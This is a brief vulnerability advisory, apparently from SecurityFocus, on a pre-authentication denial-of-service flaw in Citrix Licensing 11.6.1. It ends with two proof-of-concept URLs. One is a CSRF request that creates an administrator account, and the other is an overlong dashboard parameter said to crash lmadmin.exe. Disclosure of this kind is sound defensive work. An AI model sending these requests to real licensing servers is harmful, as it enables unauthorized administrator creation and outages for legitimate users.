source:  http://www.securityfocus.com/bid/52522/info

Citrix Licensing is prone to a denial-of-service vulnerability.

A remote attacker can leverage this issue to crash the affected application, denying service to legitimate users.

Citrix Licensing 11.6.1 build 10007 is vulnerable; other versions may also be affected. 

Proof-of-Concept:
http://www.example.com/users?licenseTab=&selected=&userName=xsrf&firstName=xsrf&lastName=xsrf&password2=xsrf&confirm=xsrf&accountType=admin&originalAccountType=&Create=Save(Administrator CSRF)

http://www.example.com/dashboard?<something long here>=2 (pre auth DoS, crashes lmadmin.exe)